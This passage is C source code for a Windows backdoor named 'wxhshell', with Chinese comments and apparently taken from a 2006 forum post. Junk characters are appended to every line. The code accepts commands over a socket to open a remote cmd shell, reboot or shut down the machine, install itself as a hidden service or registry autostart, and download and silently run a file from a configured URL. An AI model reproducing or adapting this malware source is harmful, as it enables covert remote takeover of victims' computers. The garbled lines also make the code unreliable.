      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0dKI+zgr  
    break; kl.)A-6V  
  } +):t6oX|  
  // 安装 +"Pt?k  
  case 'i': { G Q&9b_  
    if(Install()) r`]&{0}23  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K 7)1wiEj  
    else 0G/VbS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jtj_R l !  
    break; W_EM k  
    } nZ>bOP+,  
  // 卸载 %Z-^Bu8;y  
  case 'r': { i2{xW`AcUh  
    if(Uninstall()) fP`g#t)4Tu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /^~3Ib8Fw+  
    else lAsDdxB`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rs01@  
    break; ,63hO.4M  
    } t&UPU&tY  
  // 显示 wxhshell 所在路径 /#Y)nyE  
  case 'p': { M.K-)r,  
    char svExeFile[MAX_PATH]; 73/kyu-0%  
    strcpy(svExeFile,"\n\r"); Q)\7(n  
      strcat(svExeFile,ExeFile); EG5'kYw2  
        send(wsh,svExeFile,strlen(svExeFile),0); 7%Zl^c>q  
    break; 4!Ez#\  
    } F]~rA! g1  
  // 重启 x^aqnKoJ%\  
  case 'b': { ! /Z{uy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); = GirUW D  
    if(Boot(REBOOT)) I__|+%oC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ag^L' h$  
    else { !j8h$+:K  
    closesocket(wsh); 37 )Dx  
    ExitThread(0); qkC+9Sk  
    } w]n20&  
    break; aG7QLCL  
    } %iWup:  
  // 关机 -UaUFJa8K&  
  case 'd': { q/xMM `{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RQI?\?o  
    if(Boot(SHUTDOWN)) !|`G<WD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]trVlmZXH}  
    else { ReOp,A/y  
    closesocket(wsh); 2= X2M  
    ExitThread(0); -ea>}S  
    } -SaH_Nuj  
    break; =whZ?,u1   
    } 0uzm@'^  
  // 获取shell Ec| Gom?  
  case 's': { q10gKVJum  
    CmdShell(wsh); W=M`Bkw{  
    closesocket(wsh); <}b`2/wP  
    ExitThread(0); %sb)U~gP  
    break; ZdHfZ3)dB  
  } W)jO 4,eO  
  // 退出 SU OuayE  
  case 'x': { &Zl$7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $:"r$7  
    CloseIt(wsh); SU;PmG4  
    break; <v;;:RB6c  
    } I*R[8|  
  // 离开 *6~ODiB  
  case 'q': { F)/}Q[o8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JqTkNKi/s  
    closesocket(wsh); &P&LjHFK  
    WSACleanup(); V6"<lK8"  
    exit(1); #|fa/kb~  
    break; vCT5do"C&  
        } fk)ts,p?  
  } ?Y2ZqI  
  } ~vnG^y>%  
e2Sm.H '  
  // 提示信息 LtKiJ.j?A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t3K7W2bz  
} 7 Xe|P1@)  
  } 0 Vv 6B2<  
trmCIk&Fkj  
  return;  lk{  
} XnrOC|P$  
]Mi ~vG q  
// shell模块句柄 ?P[uf  
int CmdShell(SOCKET sock) Z^,C><Yt  
{ 9ctvy?53H  
STARTUPINFO si; fk4s19;?  
ZeroMemory(&si,sizeof(si)); IbC(/i#%`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; egboLqn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @\v,   
PROCESS_INFORMATION ProcessInfo; O{a<f7 W  
char cmdline[]="cmd"; pfgFHNH:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n'=-bj`  
  return 0; (&0%![j&  
} A_1cM#4  
d_=@1 JM>  
// 自身启动模式 ?-0k3  
int StartFromService(void) %)T>Wn%b]v  
{ ')t :!#  
typedef struct #}L75  
{ 6 ]W!>jDc  
  DWORD ExitStatus; |n=m{JX\m  
  DWORD PebBaseAddress; ![3#([>4>  
  DWORD AffinityMask; xRYL{+  
  DWORD BasePriority; t9S zZ2E  
  ULONG UniqueProcessId; C{!L +]/  
  ULONG InheritedFromUniqueProcessId; /%|JP{   
}   PROCESS_BASIC_INFORMATION; V %'`nJ!  
XVAy uuTg\  
PROCNTQSIP NtQueryInformationProcess; 4>nY't;0  
E%OY7zf`%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e>~g!S}G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b{<qt})  
q}>1Rr|U`  
  HANDLE             hProcess; Htn=h~U`z  
  PROCESS_BASIC_INFORMATION pbi; ,~8:^*0s  
!/+ZKx("9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o9ZHa  
  if(NULL == hInst ) return 0; GVk&n"9kp  
:@)UI,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SA&0f&07i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F>Rz}-Fy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x@I*(I  
<l]P <N8^  
  if (!NtQueryInformationProcess) return 0; py.lGywb_  
/%9D$\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $E3- </ f  
  if(!hProcess) return 0; e*p7(b-  
zWpJ\/k~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zbK=yOIOd  
,dn9tY3  
  CloseHandle(hProcess); Vy0s%k  
M*FUtu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P:h;"  
if(hProcess==NULL) return 0; J$  
`<!Nk^2ap  
HMODULE hMod; j_*$ Avy  
char procName[255]; JP`$A  
unsigned long cbNeeded; &C<K|F!j!  
D7|[:``  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  (n+2z"/  
OJiW@Z_\  
  CloseHandle(hProcess); RY'f%c  
.gTla  
if(strstr(procName,"services")) return 1; // 以服务启动 Hs/ aU_  
lo*OmAF  
  return 0; // 注册表启动 \7PPFKS  
} Q\Dx/?g!vx  
r!SMF ]?SJ  
// 主模块 H,`F%G#!`q  
int StartWxhshell(LPSTR lpCmdLine) lxb+0fiN  
{ e5G)83[=  
  SOCKET wsl; yG\^PD  
BOOL val=TRUE; wqB{cr}!  
  int port=0; f =@'F=  
  struct sockaddr_in door; >)*'w!  
\MBbZB9@  
  if(wscfg.ws_autoins) Install(); 2g5i3C.q$  
eJA$J=^R;  
port=atoi(lpCmdLine); MyB&mC7Es  
u(l[~r>8W;  
if(port<=0) port=wscfg.ws_port; rx2?y3pv  
%@ UH,Ew  
  WSADATA data; ITJ{]7N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BrF/-F  
)!.ef6|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rD=8O#m g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WLl_;BgN  
  door.sin_family = AF_INET; q1ybJii  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "%fh`4y3\  
  door.sin_port = htons(port); 0/K?'&$yvb  
u3 k%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (5- w>(  
closesocket(wsl); 68Po`_/s  
return 1; O b'B?  
} ]-[M&i=+&  
:5Vk+s]8  
  if(listen(wsl,2) == INVALID_SOCKET) {  [U9b_`  
closesocket(wsl); xi['knUi2-  
return 1; J1OZG6|e  
}  m(CW3:|  
  Wxhshell(wsl); j1{|3#5V  
  WSACleanup(); d 90  
3FRz&FS:j  
return 0; ro|mW P0  
-]""Jl^  
} Zjis0a]v~k  
(:9yeP1  
// 以NT服务方式启动 k(LZ,WSR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HJ#3wk"W  
{ ,/0Q($oz  
DWORD   status = 0; rR`'l=,t  
  DWORD   specificError = 0xfffffff; S(NH# ^  
t8X$M;$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u=_"* :}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qLrvKoEX2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &"H xAK)f  
  serviceStatus.dwWin32ExitCode     = 0; O/g|E47  
  serviceStatus.dwServiceSpecificExitCode = 0; A!Em J  
  serviceStatus.dwCheckPoint       = 0; j"(o>b v7  
  serviceStatus.dwWaitHint       = 0; "Tw4'AY'P  
EmrUzaGD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); od~^''/b  
  if (hServiceStatusHandle==0) return; (Z:(f~;  
.*XELP=BT  
status = GetLastError(); EUBJnf:q  
  if (status!=NO_ERROR) CTawXHM  
{ Q{%2Npvq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dRw O t  
    serviceStatus.dwCheckPoint       = 0; @z $,KUH  
    serviceStatus.dwWaitHint       = 0; GX2aV6}  
    serviceStatus.dwWin32ExitCode     = status; 48%-lkol)  
    serviceStatus.dwServiceSpecificExitCode = specificError; o95)-Wb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%BrnjX  
    return; cr GFU?8  
  }  1B}q?8n  
[/dGOl+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & gF*p  
  serviceStatus.dwCheckPoint       = 0; GJZGHUB=>  
  serviceStatus.dwWaitHint       = 0; PJd7t% m;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pdgn9  
} % mP%W<  
'{]1!yMh  
// 处理NT服务事件,比如:启动、停止 E/bIq}R6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K:!){a[  
{ Xge]3Ub  
switch(fdwControl) :`u?pc27Sm  
{ WFWQ;U{|  
case SERVICE_CONTROL_STOP: ^gw htnI  
  serviceStatus.dwWin32ExitCode = 0; [6 d~q]KH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^RL#(O  
  serviceStatus.dwCheckPoint   = 0; Ah^0FU%!g  
  serviceStatus.dwWaitHint     = 0; ed3d 6/%HR  
  { ~ZrSoVP=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LV4\zd6  
  } k+-IuO  
  return; mCM7FFl I  
case SERVICE_CONTROL_PAUSE: b1+6I_u.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'iQ  
  break; &d,chb (  
case SERVICE_CONTROL_CONTINUE: ~nit~ ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `As| MYv  
  break; D$ X9xtT  
case SERVICE_CONTROL_INTERROGATE: 7  s+j)  
  break; un*Ptc2%  
}; (pBPf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JFOto,6L:  
} :TU|;(p  
#+VH]7]  
// 标准应用程序主函数 yf|,/{S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Cqm=q{K  
{ Wp2W:JX:  
@|I:A  
// 获取操作系统版本 R$>]7-N}  
OsIsNt=GetOsVer(); "n<rP 3y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7JC^+ rk  
c}XuzgSY  
  // 从命令行安装 2bJqZ,@  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lj]I7ICNh  
k8>(-W"A  
  // 下载执行文件 }s*H| z  
if(wscfg.ws_downexe) { VSm[80iR0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 01N]|F:  
  WinExec(wscfg.ws_filenam,SW_HIDE); a#i85su  
} ^pI&f{q  
v?AQ&'Fk  
if(!OsIsNt) { CMQlxX?  
// 如果时win9x,隐藏进程并且设置为注册表启动 |\HYq`!g%7  
HideProc(); ~Te9Lq|  
StartWxhshell(lpCmdLine); WUC-* (  
} 'eM90I%(  
else t1LIZ5JY  
  if(StartFromService()) =1!,A  
  // 以服务方式启动 \VL_  
  StartServiceCtrlDispatcher(DispatchTable); `/|S.a#g  
else S7|6dwQ&  
  // 普通方式启动 xg:r5Z/|)  
  StartWxhshell(lpCmdLine); 25bbuhss  
D\~s$.6B  
return 0; ;N+ v x  
}
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只看该作者 1 发表于: 2006-10-10
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